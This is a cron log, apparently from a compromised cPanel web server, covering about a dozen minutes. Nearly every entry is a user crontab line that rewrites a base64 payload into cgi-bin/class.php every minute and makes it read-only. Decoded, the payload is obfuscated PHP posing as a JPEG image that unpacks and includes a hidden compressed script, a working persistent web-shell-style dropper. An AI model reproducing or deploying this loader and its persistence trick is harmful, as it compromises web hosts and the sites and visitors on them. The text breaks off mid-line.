Nov 12 15:20:01 server CROND[17491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:21:01 server CROND[18385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:22:01 server CROND[19199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:23:01 server CROND[20020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:24:01 server CROND[20840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:25:01 server CROND[21754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:25:01 server CROND[21753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:25:01 server CROND[21752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:26:01 server CROND[22629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:27:01 server CROND[22958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:27:01 server CROND[22959]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 15:28:01 server CROND[23770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:29:01 server CROND[24527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:30:01 server CROND[25437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 15:30:01 server CROND[25438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:30:01 server CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:30:01 server CROND[25442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:31:01 server CROND[25979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:32:01 server CROND[26788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:33:01 server CROND[27593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 